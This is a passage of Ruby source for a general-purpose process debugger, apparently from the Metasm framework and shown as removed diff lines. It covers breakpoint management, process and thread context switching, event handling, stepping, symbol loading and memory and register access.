:hw = hard) - :type, - # Expression if this is a conditionnal bp - # may be a Proc, String or Expression, evaluated every time the breakpoint hits - # if it returns 0 or false, the breakpoint is ignored - :condition, - # Proc to run if this bp has a callback - :action, - # Proc to run to emulate the overwritten instr behavior - # used to avoid unset/singlestep/re-set, more multithread friendly - :emul_instr, - # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) - :internal, - # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) - # shared is an array of Breakpoints, the same Array object in all shared breakpoints - # owner is a hash key => shared (dbg.breakpoint) - # key is an identifier for the Bp class in owner (bp.address) - :hash_shared, :hash_owner, :hash_key, - # user-defined breakpoint-specific stuff - :userdata - - # append the breakpoint to hash_owner + hash_shared - def add(owner=@hash_owner) - @hash_owner = owner - @hash_key ||= @address - return add_bpm if @type == :bpm - if pv = owner[@hash_key] - @hash_shared = pv.hash_shared - @internal ||= pv.internal - @emul_instr ||= pv.emul_instr - else - owner[@hash_key] = self - @hash_shared = [] - end - @hash_shared << self - end - - # register a bpm: add references to all page start covered in @hash_owner - def add_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared = [self] - - @internal ||= {} - @internal[:orig_prot] ||= {} - while a < m - if pv = @hash_owner[a] - if not pv.hash_shared.include?(self) - pv.hash_shared.concat @hash_shared-pv.hash_shared - @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } - end - @internal[:orig_prot][a] = pv.internal[:orig_prot][a] - else - @hash_owner[a] = self - end - a += 0x1000 - end - end - - # delete the breakpoint from hash_shared, and hash_owner if empty - def del - return del_bpm if @type == :bpm - @hash_shared.delete self - if @hash_shared.empty? - @hash_owner.delete @hash_key - elsif @hash_owner[@hash_key] == self - @hash_owner[@hash_key] = @hash_shared.first - end - end - - # unregister a bpm - def del_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared.delete self - while a < m - pv = @hash_owner[a] - if pv == self - if opv = @hash_shared.find { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a - } - @hash_owner[a] = opv - else - @hash_owner.delete a - - # split hash_shared on disjoint ranges - prev_shared = @hash_shared.find_all { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a - } - - prev_shared.each { |bpm| - bpm.hash_shared = prev_shared - @hash_shared.delete bpm - } - end - end - a += 0x1000 - end - end - end - - # per-process data - attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, - :modulemap, :symbols, :symbols_len - # per-thread data - attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, - :run_args, :breakpoint_cause - - # which/where per-process/thread stuff is stored - attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list - - # global debugger callbacks, called whenever such event occurs - attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, - :callback_exception, :callback_newthread, :callback_endthread, - :callback_newprocess, :callback_endprocess, :callback_loadlibrary - - # global switches, specify wether to break on exception/thread event - # can be a Proc that is evaluated (arg = info parameter of the evt_func) - # trace_children is a bool to tell if we should debug subprocesses spawned - # by the target - attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, - :trace_children - - # link to the user-interface object if available - attr_accessor :gui - - # initializes the disassembler internal data - subclasses should call super() - def initialize - @pid_stuff = {} - @tid_stuff = {} - @log_proc = nil - @state = :dead - @info = '' - # stuff saved when we switch pids - @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, - :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, - :dead_process] - @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, - :run_method, :run_args, :breakpoint_cause, :dead_thread] - @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } - @callback_newprocess = lambda { |h| log "process #{@pid} created" } - @callback_endprocess = lambda { |h| log "process #{@pid} died" } - initialize_newpid - initialize_newtid - end - - def shortname; self.class.name.split('::').last.downcase; end - - attr_reader :pid - # change pid and associated cached data - # this will also re-load the previously selected tid for this process - def pid=(npid) - return if npid == pid - raise "invalid pid" if not check_pid(npid) - swapout_pid - @pid = npid - swapin_pid - end - alias set_pid pid= - - attr_reader :tid - def tid=(ntid) - return if ntid == tid - raise "invalid tid" if not check_tid(ntid) - swapout_tid - @tid = ntid - swapin_tid - end - alias set_tid tid= - - # creates stuff related to a new process being debugged - # includes disassembler, modulemap, symbols, breakpoints - # subclasses should check that @pid maps to a real process and raise() otherwise - # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu - def initialize_newpid - return if not pid - @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @symbols = {} - @symbols_len = {} - @modulemap = {} - @breakpoint = {} - @breakpoint_memory = {} - @tid_stuff = {} - initialize_cpu - initialize_memory - initialize_disassembler - end - - # subclasses should check that @tid maps to a real thread and raise() otherwise - def initialize_newtid - return if not tid - @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @state = :stopped - @info = 'new' - @breakpoint_thread = {} - gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) - end - - # initialize the disassembler from @cpu/@memory - def initialize_disassembler - return if not @memory or not @cpu - @disassembler = Shellcode.decode(@memory, @cpu).disassembler - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one pid to another, save current pid data - def swapout_pid - return if not pid - swapout_tid - gui.swapout_pid if gui.respond_to?(:swapout_pid) - @pid_stuff[@pid] ||= {} - @pid_stuff_list.each { |fld| - @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one tid to another, save current tid data - def swapout_tid - return if not tid - gui.swapout_tid if gui.respond_to?(:swapout_tid) - @tid_stuff[@tid] ||= {} - @tid_stuff_list.each { |fld| - @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one pid to another, load current pid data - def swapin_pid - return initialize_newpid if not @pid_stuff[@pid] - - @pid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) - } - swapin_tid - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one tid to another, load current tid data - def swapin_tid - return initialize_newtid if not @tid_stuff[@tid] - - @tid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) - } - gui.swapin_tid if gui.respond_to?(:swapin_tid) - end - - # delete references to the current pid - # switch to another pid, set @state = :dead if none available - def del_pid - @pid_stuff.delete @pid - if @pid = @pid_stuff.keys.first - swapin_pid - else - @state = :dead - @info = '' - @tid = nil - end - end - - # delete references to the current thread - # calls del_pid if no tid left - def del_tid - @tid_stuff.delete @tid - if @tid = @tid_stuff.keys.first - swapin_tid - else - del_pid - end - end - - # change the debugger to a specific pid/tid - # if given a block, run the block and then restore the original pid/tid - # pid may be an object that respond to #pid/#tid - def switch_context(npid, ntid=nil) - if npid.respond_to? :pid - ntid ||= npid.tid - npid = npid.pid - end - oldpid = pid - oldtid = tid - set_pid npid - set_tid ntid if ntid - if block_given? - # shortcut begin..ensure overhead - return yield if oldpid == pid and oldtid == tid - - begin - yield - ensure - set_pid oldpid - set_tid oldtid - end - end - end - alias set_context switch_context - - # iterate over all pids, yield in the context of this pid - def each_pid - # ensure @pid is last, so that we finish in the current context - lst = @pid_stuff.keys - [@pid] - lst << @pid - return lst if not block_given? - lst.each { |p| - set_pid p - yield - } - end - - # iterate over all tids of the current process, yield in its context - def each_tid - lst = @tid_stuff.keys - [@tid] - lst << @tid - return lst if not block_given? - lst.each { |t| - set_tid t - yield - } - end - - # iterate over all tids of all pids, yield in their context - def each_pid_tid - each_pid { each_tid { yield } } - end - - - # create a thread/process breakpoint - # addr can be a numeric address, an Expression that is resolved, or - # a String that is parsed+resolved - # info's keys are set to the breakpoint - # standard keys are :type, :oneshot, :condition, :action - # returns the Breakpoint object - def add_bp(addr, info={}) - info[:pid] ||= @pid - info[:tid] ||= @tid if info[:pid] == @pid - - b = Breakpoint.new - info.each { |k, v| - b.send("#{k}=", v) - } - - switch_context(b) { - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - b.address = addr - - b.hash_owner ||= case b.type - when :bpm; @breakpoint_memory - when :hwbp; @breakpoint_thread - when :bpx; @breakpoint - end - # XXX bpm may hash_share with an :active, but be larger and still need enable() - b.add - - enable_bp(b) if not info[:state] - } - - b - end - - # remove a breakpoint - def del_bp(b) - disable_bp(b) - b.del - end - - # activate an inactive breakpoint - def enable_bp(b) - return if b.state == :active - if not b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - if not b.internal - init_bpx(b) if b.type == :bpx - b.internal ||= {} - b.hash_shared.each { |bb| bb.internal ||= b.internal } - end - do_enable_bp(b) - } - end - b.state = :active - end - - # deactivate an active breakpoint - def disable_bp(b, newstate = :inactive) - return if b.state != :active - b.state = newstate - return if b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - do_disable_bp(b) - } - end - - - # delete all breakpoints defined in the current thread - def del_all_breakpoints_thread - @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # delete all breakpoints for the current process and all its threads - def del_all_breakpoints - each_tid { del_all_breakpoints_thread } - @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp - def do_enable_bp(b) - if b.type == :bpm; do_enable_bpm(b) - else @cpu.dbg_enable_bp(self, b) - end - end - - # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp - def do_disable_bp(b) - if b.type == :bpm; do_disable_bpm(b) - else @cpu.dbg_disable_bp(self, b) - end - end - - # called in the context of the target when a bpx is to be initialized - # will disassemble the code pointed, and try to initialize #emul_instr - def init_bpx(b) - @disassembler.disassemble_fast_block(b.address) # XXX configurable dasm method - if di = @disassembler.di_at(b.address) and - fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and - not fdbd[:incomplete_binding] and not fdbd.index(Expression::Unknown) and - fdbd.keys.all? { |k| k.kind_of?(Symbol) or k.kind_of?(Indirection) } - -puts di.instruction, fdbd.inspect - b.emul_instr = lambda { |dbg| - resv = lambda { |e| - r = e - flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/ } - if flags.first - bd = {} - flags.each { |f| - f.to_s =~ /flags?_(.+)/ - bd[f] = dbg.get_flag_value($1.downcase.to_sym) - } - r = r.bind(bd) - end - dbg.resolve(r) - } - - fdbd.map { |k, v| - k = Indirection[resv[k.pointer], k.len] if k.kind_of?(Indirection) - [k, resv[v]] - }.each { |k, v| - if k.to_s =~ /flags?_(.+)/ - dbg.set_flag_value($1.downcase.to_sym, v) - elsif k.kind_of?(Symbol) - dbg.set_reg_value(k, v) - elsif k.kind_of?(Indirection) - dbg.memory_write_int(k.pointer, v, k.len) - end - } - } - b.hash_shared.each { |bb| bb.emul_instr = b.emul_instr } - end - end - - # sets a breakpoint on execution - def bpx(addr, oneshot=false, cond=nil, &action) - h = { :type => :bpx } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a hardware breakpoint - # mtype in :r :w :x - # mlen is the size of the memory zone to cover - # mlen may be constrained by the architecture - def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) - h = { :type => :hwbp } - h[:hash_owner] = @breakpoint_thread - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = [addr, mtype, mlen] - h[:internal] = { :type => mtype, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a memory breakpoint - # mtype is :r :w :rw or :x - # mlen is the size of the memory zone to cover - def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) - h = { :type => :bpm } - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len - h[:internal] = { :type => type, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - - # define the lambda to use to log stuff (used by #puts) - def set_log_proc(l=nil, &b) - @log_proc = l || b - end - - # show information to the user, uses log_proc if defined - def log(*a) - if @log_proc - a.each { |aa| @log_proc[aa] } - else - puts(*a) - end - end - - - # marks the current cache of memory/regs invalid - def invalidate - @memory.invalidate if @memory - end - - # invalidates the EncodedData backend for the dasm sections - def dasm_invalidate - disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to? :invalidate } - end - - # return all breakpoints set on a specific address (or all bp) - def all_breakpoints(addr=nil) - ret = [] - if addr - if b = @breakpoint[addr] - ret |= b.hash_shared - end - else - @breakpoint.each_value { |bb| ret |= bb.hash_shared } - end - - @breakpoint_thread.each_value { |bb| - next if addr and bb.address != addr - ret |= bb.hash_shared - } - - @breakpoint_memory.each_value { |m| - next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) - ret |= bb.hash_shared - } - - ret - end - - def find_breakpoint(addr=nil) - return @breakpoint[addr] if @breakpoint[addr] and (not block_given? or yield(@breakpoint[addr])) - all_breakpoints(addr).find { |b| yield b } - end - - - # to be called right before resuming execution of the target - # run_m is the method that should be called if the execution is stopped - # due to a side-effect of the debugger (bpx with wrong condition etc) - # returns nil if the execution should be avoided (just deleted the dead thread/process) - def check_pre_run(run_m, *run_a) - if @dead_process - del_pid - return - elsif @dead_thread - del_tid - return - elsif @state == :running - return - end - @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run) - @breakpoint_cause = nil - @run_method = run_m - @run_args = run_a - @state = :running - @info = nil - true - end - - - # called when the target stops due to a singlestep exception - def evt_singlestep(b=nil) - b ||= find_singlestep - return evt_exception(:type => 'singlestep') if not b - - @state = :stopped - @info = 'singlestep' - @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) - - callback_singlestep[] if callback_singlestep - - if cb = @singlestep_cb - @singlestep_cb = nil - cb.call # call last, as the cb may change singlestep_cb/state/etc - end - end - - # returns true if the singlestep is due to us - def find_singlestep - return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) - @run_method == :singlestep - end - - # called when the target stops due to a soft breakpoint exception - def evt_bpx(b=nil) - b ||= find_bp_bpx - return evt_exception(:type => 'breakpoint') if not b - - @state = :stopped - @info = 'breakpoint' - @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) - - callback_bpx[b] if callback_bpx - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_bpx - def find_bp_bpx - return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint[pc] - end - - # called when the target stops due to a hwbp exception - def evt_hwbp(b=nil) - b ||= find_bp_hwbp - return evt_exception(:type => 'hwbp') if not b - - @state = :stopped - @info = 'hwbp' - @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) - - callback_hwbp[b] if callback_hwbp - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_hwbp - def find_bp_hwbp - return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint_thread.find { |b| b.address == pc } - end - - # called for archs where the same interrupt is generated for hwbp and singlestep - # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which - # will forward to evt_exception if singlestep does not match either) - def evt_hwbp_singlestep - if b = find_bp_hwbp - evt_hwbp(b) - else - evt_singlestep - end - end - - # called when the target stops due to a memory exception caused by a memory bp - # called by evt_exception - def evt_bpm(b) - @state = :stopped - @info = 'bpm' - - callback_bpm[b] if callback_bpm - - post_evt_bp(b) - end - - # return a bpm whose page coverage includes the fault described in info - def find_bp_bpm(info) - @breakpoint_memory[info[:fault_addr] & -0x1000] - end - - # returns true if the fault described in info is valid to trigger b - def check_bpm_range(b, info) - return if b.address+b.internal[:len] <= info[:fault_addr] - return if b.address >= info[:fault_addr] + info[:fault_len] - case b.internal[:type] - when :x; info[:fault_addr] == pc # XXX - when :r; info[:fault_access] == :r - when :w; info[:fault_access] == :w - when :rw; true - end - end - - # handles breakpoint conditions/callbacks etc - def post_evt_bp(b) - @breakpoint_cause = b - - found_valid_active = false - - # XXX may have many active bps with callback that continue/singlestep/singlestep{}... - b.hash_shared.dup.map { |bb| - # ignore inactive bps - next if bb.state != :active - - # ignore out-of-range bpms - next if bb.type == :bpm and not check_bpm_range(bb, b.internal) - - # check condition - case bb.condition - when nil; cd = 1 - when Proc; cd = bb.condition.call - when String, Expression; cd = resolve_expr(bb.condition) - else raise "unknown bp condition #{bb.condition.inspect}" - end - next if not cd or cd == 0 - - found_valid_active = true - - # oneshot - del_bp(bb) if bb.oneshot - - # callback - bb.action - }.compact.each { |cb| cb.call } - - # we did break due to a bp whose condition is not true: resume - # (unless a callback already resumed) - resume_badbreak(b) if not found_valid_active and @state == :stopped - end - - # called whenever the target stops due to an exception - # type may be: - # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) - # anything else for other exceptions (access violation is special to handle bpm) - # ... - def evt_exception(info={}) - if info[:type] == 'access violation' and b = find_bp_bpm(info) - info[:fault_len] ||= 1 - b.internal.update info - return evt_bpm(b) - end - - @state = :stopped - @info = "exception #{info[:type]}" - - callback_exception[info] if callback_exception - - pass = pass_all_exceptions - pass = pass[info] if pass.kind_of? Proc - if pass - pass_current_exception - resume_badbreak - end - end - - def evt_newthread(info={}) - @state = :stopped - @info = 'new thread' - - callback_newthread[info] if callback_newthread - - ign = ignore_newthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_endthread(info={}) - @state = :stopped - @info = 'end thread' - # mark the thread as to be deleted on next check_pre_run - @dead_thread = true - - callback_endthread[info] if callback_endthread - - ign = ignore_endthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_newprocess(info={}) - @state = :stopped - @info = 'new process' - - callback_newprocess[info] if callback_newprocess - end - - def evt_endprocess(info={}) - @state = :stopped - @info = 'end process' - @dead_process = true - - callback_endprocess[info] if callback_endprocess - end - - def evt_loadlibrary(info={}) - @state = :stopped - @info = 'loadlibrary' - - callback_loadlibrary[info] if callback_loadlibrary - end - - # called when we did break due to a breakpoint whose condition is invalid - # resume execution as if we never stopped - # disable offending bp + singlestep if needed - def resume_badbreak(b=nil) - # ensure we didn't delete b - if b and b.hash_shared.find { |bb| bb.state == :active } - rm = @run_method - if rm == :singlestep - singlestep_bp(b) - else - @run_args = ra - singlestep_bp(b) { send rm, *ra } - end - else - send @run_method, *@run_args - end - end - - # singlesteps over an active breakpoint and run its block - # if the breakpoint provides an emulation stub, run that, otherwise - # disable the breakpoint, singlestep, and re-enable - def singlestep_bp(bp, &b) - if be = bp.hash_shared.find { |bb| bb.emul_instr } - @state = :stopped - be.emul_instr[self] - yield if block_given? - else - bp.hash_shared.each { |bb| - disable_bp(bb, :temp_inactive) if bb.state == :active - } - # this *should* work with different bps stopping the current instr - prev_sscb = @singlestep_cb - singlestep { - bp.hash_shared.each { |bb| - enable_bp(bb) if bb.state == :temp_inactive - } - prev_sscb[] if prev_sscb - yield if block_given? - } - end - end - - - # checks if the running target has stopped (nonblocking) - def check_target - do_check_target - end - - # waits until the running target stops (due to a breakpoint, fault, etc) - def wait_target - do_wait_target while @state == :running - end - - # resume execution of the target - # bypasses a software breakpoint on pc if needed - # thread breakpoints must be manually disabled before calling continue - def continue - if b = @breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } - singlestep_bp(b) { - next if not check_pre_run(:continue) - do_continue - } - else - return if not check_pre_run(:continue) - do_continue - end - end - alias run continue - - # continue ; wait_target - def continue_wait - continue - wait_target - end - - # resume execution of the target one instruction at a time - def singlestep(&b) - @singlestep_cb = b - bp = @breakpoint_cause - return if not check_pre_run(:singlestep) - if bp and bp.hash_shared.find { |bb| bb.state == :active } and be = bp.hash_shared.find { |bb| bb.emul_instr } - @state = :stopped - be.emul_instr[self] - invalidate - evt_singlestep(true) - else - do_singlestep - end - end - - # singlestep ; wait_target - def singlestep_wait(&b) - singlestep(&b) - wait_target - end - - # tests if the specified instructions should be stepover() using singlestep or - # by putting a breakpoint at next_addr - def need_stepover(di = di_at(pc)) - di and @cpu.dbg_need_stepover(self, di.address, di) - end - - # stepover: singlesteps, but do not enter in subfunctions - def stepover - di = di_at(pc) - if need_stepover(di) - bpx di.next_addr, true, Expression[:tid, :==, @tid] - continue - else - singlestep - end - end - - # stepover ; wait_target - def stepover_wait - stepover - wait_target - end - - # checks if an instruction should stop the stepout() (eg it is a return instruction) - def end_stepout(di = di_at(pc)) - di and @cpu.dbg_end_stepout(self, di.address, di) - end - - # stepover until finding the last instruction of the function - def stepout - # TODO thread-local bps - while not end_stepout - stepover - wait_target - end - do_singlestep - end - - # set a singleshot breakpoint, run the process, and wait - def go(target, cond=nil) - bpx(target, true, cond) - continue_wait - end - - # continue_wait until @state == :dead - def run_forever - continue_wait until @state == :dead - end - - # decode the Instruction at the address, use the @disassembler cache if available - def di_at(addr) - @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) - end - - # list the general purpose register names available for the target - def register_list - @cpu.dbg_register_list - end - - # hash { register_name => register_size_in_bits } - def register_size - @cpu.dbg_register_size - end - - # retrieves the name of the register holding the program counter (address of the next instruction) - def register_pc - @cpu.dbg_register_pc - end - - # retrieve the name of the register holding the stack pointer - def register_sp - @cpu.dbg_register_sp - end - - # then name of the register holding the cpu flags - def register_flags - @cpu.dbg_register_flags - end - - # list of flags available in the flag register - def flag_list - @cpu.dbg_flag_list - end - - # retreive the value of the program counter register (eip) - def pc - get_reg_value(register_pc) - end - alias ip pc - - # change the value of pc - def pc=(v) - set_reg_value(register_pc, v) - end - alias ip= pc= - - # retrieve the value of the stack pointer register - def sp - get_reg_value(register_sp) - end - - # update the stack pointer - def sp=(v) - set_reg_value(register_sp, v) - end - - # retrieve the value of a flag (0/1) - def get_flag_value(f) - @cpu.dbg_get_flag(self, f) - end - - # retrieve the value of a flag (true/false) - def get_flag(f) - get_flag_value(f) != 0 - end - - # change the value of a flag - def set_flag_value(f, v) - (v && v != 0) ? set_flag(f) : unset_flag(f) - end - - # switch the value of a flag (true->false, false->true) - def toggle_flag(f) - set_flag_value(f, 1-get_flag_value(f)) - end - - # set the value of the flag to true - def set_flag(f) - @cpu.dbg_set_flag(self, f) - end - - # set the value of the flag to false - def unset_flag(f) - @cpu.dbg_unset_flag(self, f) - end - - # returns the name of the module containing addr or nil - def addr2module(addr) - @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } - end - - # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') - def addrname(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # same as addrname, but scan preceding addresses if no symbol matches - def addrname!(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : - @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || - @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # loads the symbols from a mapped module - def loadsyms(addr, name='%08x'%addr.to_i) - if addr.kind_of? String - modules.each { |m| - if m.path =~ /#{addr}/i - addr = m.addr - name = File.basename m.path - break - end - } - return if not addr.kind_of? Integer - end - return if not peek = @memory.get_page(addr, 4) - if peek == "\x7fELF" - cls = LoadedELF - elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" - cls = LoadedPE - else return - end - - begin - e = cls.load @memory[addr, 0x1000_0000] - e.load_address = addr - e.decode_header - e.decode_exports - rescue - # cache the error so that we dont hit it every time - @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] - return - end - - if n = e.module_name and n != name - name = n - end - - @modulemap[name] ||= [addr, addr+e.module_size] - - cnt = 0 - e.module_symbols.each { |n_, a, l| - cnt += 1 - a += addr - @disassembler.set_label_at(a, n_, false) - @symbols[a] = n_ # XXX store "lib!sym" ? - if l and l > 1; @symbols_len[a] = l - else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync - end - } - log "loaded #{cnt} symbols from #{name}" - - true - end - - # scan the target memory for loaded libraries, load their symbols - def scansyms(addr=0, max=@memory.length-0x1000-addr) - while addr <= max - loadsyms(addr) - addr += 0x1000 - end - end - - # load symbols from all libraries found by the OS module - def loadallsyms - modules.each { |m| - yield m.addr if block_given? - loadsyms(m.addr, m.path) - } - end - - # see Disassembler#load_map - def load_map(str, off=0) - str = File.read(str) if File.exist?(str) - sks = @disassembler.sections.keys.sort - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - a = $1.to_i(16) + off - n = $3 - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # see Disassembler for comments - a = sks[$1.to_i(16)] + $2.to_i(16) + off - n = $3 - else next - end - @disassembler.set_label_at(a, n, false) - @symbols[a] = n - } - - end - - # parses the expression contained in arg - def parse_expr(arg) - parse_expr!(arg.dup) - end - - # parses the expression contained in arg, updates arg to point after the expr - def parse_expr!(arg) - return if not e = IndExpression.parse_string!(arg) { |s| - # handle 400000 -> 0x400000 - # XXX no way to override and force decimal interpretation.. - if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) - s.to_i(16) - else - s.to_i - end - } - - # resolve ambiguous symbol names/hex values - bd = {} - e.externals.grep(::String).each { |ex| - if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || - (block_given? && yield(ex)) || symbols.index(ex) - lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } - case lst.length - when 0 - if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) - v = ex.to_i(16) - else - raise "unknown symbol name #{ex}" - end - when 1 - v = symbols.index(lst.first) - log "using #{lst.first} for #{ex}" - else - suggest = lst[0, 50].join(', ') - suggest = suggest[0, 125] + '...' if suggest.length > 128 - raise "ambiguous symbol name #{ex}: #{suggest} ?" - end - end - bd[ex] = v - } - e = e.bind(bd) - - e - end - - # resolves an expression involving register values and/or memory indirection using the current context - # uses #register_list, #get_reg_value, @mem, @cpu - # :tid/:pid resolve to current thread - def resolve_expr(e) - e = parse_expr(e) if e.kind_of? ::String - bd = { :tid => @tid, :pid => @pid } - Expression[e].externals.each { |ex| - next if bd[ex] - case ex - when ::Symbol; bd[ex] = get_reg_value(ex) - when ::String; bd[ex] = @symbols.index(ex) || 0 - end - } - Expression[e].bind(bd).reduce { |i| - if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer - i.len ||= @cpu.size/8 - p &= (1 << @cpu.size) - 1 if p < 0 - Expression.decode_imm(@memory, i.len, @cpu, p) - end - } - end - alias resolve resolve_expr - - # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace - def stacktrace(maxdepth=500, &b) - @cpu.dbg_stacktrace(self, maxdepth, &b) - end - - # accepts a range or begin/end address to read memory, or a register name - def [](arg0, arg1=nil) - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1].to_str - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0].to_str - else - get_reg_value(arg0) - end - end - - # accepts a range or begin/end address to write memory, or a register name - def []=(arg0, arg1, val=nil) - arg1, val = val, arg1 if not val - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1] = val - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0] = val - else - set_reg_value(arg0, val) - end - end - - - # read an int from the target memory, int of sz bytes (defaults to cpu.size) - def memory_read_int(addr, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - Expression.decode_imm(@memory, sz, @cpu, addr) - end - - # write an int in the target memory - def memory_write_int(addr, val, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - val = resolve_expr(val) if not val.kind_of? ::Integer - @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) - end - - # retrieve an argument (call at a function entrypoint) - def func_arg(nr) - @cpu.dbg_func_arg(self, nr) - end - def func_arg_set(nr, val) - @cpu.dbg_func_arg_set(self, nr, val) - end - - # retrieve a function returned value (call at func exitpoint) - def func_retval - @cpu.dbg_func_retval(self) - end - def func_retval_set(val) - @cpu.dbg_func_retval_set(self, val) - end - def func_retval=(val) - @cpu.dbg_func_retval_set(self, val) - end - - # retrieve a function return address (call at func entry/exit) - def func_retaddr - @cpu.dbg_func_retaddr(self) - end - def func_retaddr_set(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - def func_retaddr=(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - - def 